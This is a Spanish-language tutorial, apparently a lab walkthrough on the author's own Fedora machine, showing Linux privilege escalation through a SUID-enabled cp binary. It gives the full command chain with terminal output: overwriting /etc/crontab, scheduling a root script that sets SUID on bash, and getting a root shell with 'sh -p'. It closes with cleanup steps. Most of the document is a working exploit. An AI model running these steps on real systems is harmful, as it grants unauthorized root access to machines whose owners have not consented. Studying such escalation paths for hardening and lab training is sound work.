Escalamiento de privilegios en GNU/LINUX
Aprovechando el permiso especial **SUID** de **cp**

Revisión y asignación de permisos

Binario **cp** sin permiso SUID

```
$ ls -la /usr/bin/cp
```

```
[alex@fedora ~]$ ls -la /usr/bin/cp
-rwxr-xr-x. 1 root root 149744 Feb 18 08:54 /usr/bin/cp
[alex@fedora ~]$
```

Asignando permiso SUID en **cp**

```
# chmod 4755 /usr/bin/cp
```

Binario **cp** con permiso SUID

```
$ ls -la /usr/bin/cp
```

```
[alex@fedora ~]$ ls -la /usr/bin/cp
-rwsr-xr-x. 1 root root 149744 Feb 18 08:54 /usr/bin/cp
[alex@fedora ~]$
```

Sobre la vulnerabilidad

El binario cp con permiso SUID, permite con la escritura de archivos con privilegios de administrador.

Sintaxis

```
echo "Datos de texto" | cp /dev/stdin /path
# path: ubicación del fichero destino a colocar el texto
```

Explotación de la vulnerabilidad

Para la explotación de la vulnerabilidad se aprovechará para sobre escribir un archivo de configuración importante: **crontab**

Crontab se encarga de automatizar la ejecución de programas, y además se le puede indicar con qué **usuario** se va a ejecutar el programa/script.

El archivo de configuración de crontab se encuentra en la ruta: **/etc/crontab**

Por defecto el contenido del fichero es el siguiente:

```
$ cat /etc/crontab
```

```
[alex@fedora ~]$ cat /etc/crontab
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root

# For details see man 4 crontabs

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,we
d,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name  command to be executed

[alex@fedora ~]$
```

Se crearán dos copias del archivo, una para modificarla y otra para tenerla de respaldo.

```
$ cat /etc/crontab >> crontab
$ cat /etc/crontab >> crontab.back
```

```
[alex@fedora ~]$ cat /etc/crontab >> crontab
[alex@fedora ~]$ cat /etc/crontab >> crontab.back
[alex@fedora ~]$ ls -l
total 12
-rw-rw-r--. 1 alex alex 451 Mar 29 23:32 crontab
-rw-rw-r--. 1 alex alex 451 Mar 29 23:32 crontab.back
-rwxrwxr-x. 1 alex alex  75 Mar 29 23:26 script.sh
[alex@fedora ~]$
```

Se crea el script que se ejecutará con privilegios de root:
Se puede utilizar cualquier editor de texto: vi, vim, neovim, nano, etc ...

```
nvim script.sh
```

El contenido es el siguiente:

```
#!/bin/bash
echo "User: $(whoami), date: $(date)"
chmod 4755 /usr/bin/bash
```

nota:
Se puede modificar este script, dándole comandos que podrá ejecutar como root

Obtenemos la ruta del script y se le otorga permiso de ejecución

```
$ chmod +x script.sh
$ ls -a
$ pwd
```

```
[alex@fedora ~]$ chmod +x script.sh
[alex@fedora ~]$ ls -l
total 12
-rw-rw-r--. 1 alex alex 451 Mar 29 23:32 crontab
-rw-rw-r--. 1 alex alex 451 Mar 29 23:32 crontab.back
-rwxrwxr-x. 1 alex alex  75 Mar 29 23:26 script.sh
[alex@fedora ~]$ pwd
/home/alex
[alex@fedora ~]$
```

La ruta **/home/alex/script.sh** se utilizará para asignarlo a **crontab**

Ahora se **modificará** el fichero **crontab**, para que se ejecute nuestro script

Estando de la manera original así:

```
[alex@fedora ~]$ cat crontab
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root

# For details see man 4 crontabs

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,we
d,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name  command to be executed

[alex@fedora ~]$
```

A estar de la siguiente manera:

```
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root

* * * * *       root    /home/alex/script.sh >> /home/alex/logs
~
```

donde:

* * * * *	Es el intervalo de repetición de nuestro script
root	Es el usuario que ejecutará el script
/home/alex/script.sh	Es la ruta del script
>> /home/alex/logs	Es la salida standard que se almacenará en logs

```
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root

* * * * * root     /home/alex/script.sh >> /home/alex/logs
```

Se realiza la escritura del archivo de configuración de **crontab:**

```
$ cat crontab | cp /dev/stdin /etc/crontab
```

```
[alex@fedora ~]$ cat crontab | cp /dev/stdin /etc/crontab
```

Una vez pasado el **minuto**, se ejecutará **script.sh**

Para realizar el escalamiento de privilegios se escribe:

```
sh -p
```

```
[alex@fedora ~]$ cat crontab | cp /dev/stdin /etc/crontab
[alex@fedora ~]$ cat /etc/crontab
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root

* * * * *       root    /home/alex/script.sh >> /home/alex/logs
[alex@fedora ~]$ date
Tue Mar 30 01:19:28 AM CST 2021
[alex@fedora ~]$ date
Tue Mar 30 01:20:01 AM CST 2021
[alex@fedora ~]$ cat logs
User: root, date: Tue Mar 30 01:20:01 AM CST 2021
[alex@fedora ~]$ sh -p
sh-5.0# whoami
root
sh-5.0#
```

Y ya se tiene el acceso a root.

Devolver crontab a la normalidad

Una vez obtenido el acceso a root ya no es necesario el script, por lo que se reemplazará por el original.

Sin acceso root:

```
$ cat crontab.back | cp /dev/stdin /etc/crontab
```

```
[alex@fedora ~]$ cat crontab.back | cp /dev/stdin /etc/crontab
[alex@fedora ~]$ cat /etc/crontab
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root

# For details see man 4 crontabs

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,we
d,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name  command to be executed

[alex@fedora ~]$
```

Sin embargo, aún se conservará el acceso a root con:

```
sh -p
```

Para quitar el privilegio SUID de bash, se realiza de la siguiente forma:

```
# chmod 0755 /usr/bin/bash
```

```
sh-5.0# whoami
root
sh-5.0# chmod 0755 /usr/bin/bash
sh-5.0# ls -l /usr/bin/bash
-rwxr-xr-x. 1 root root 1344328 Jul 27  2020 /usr/bin/bash
sh-5.0#
```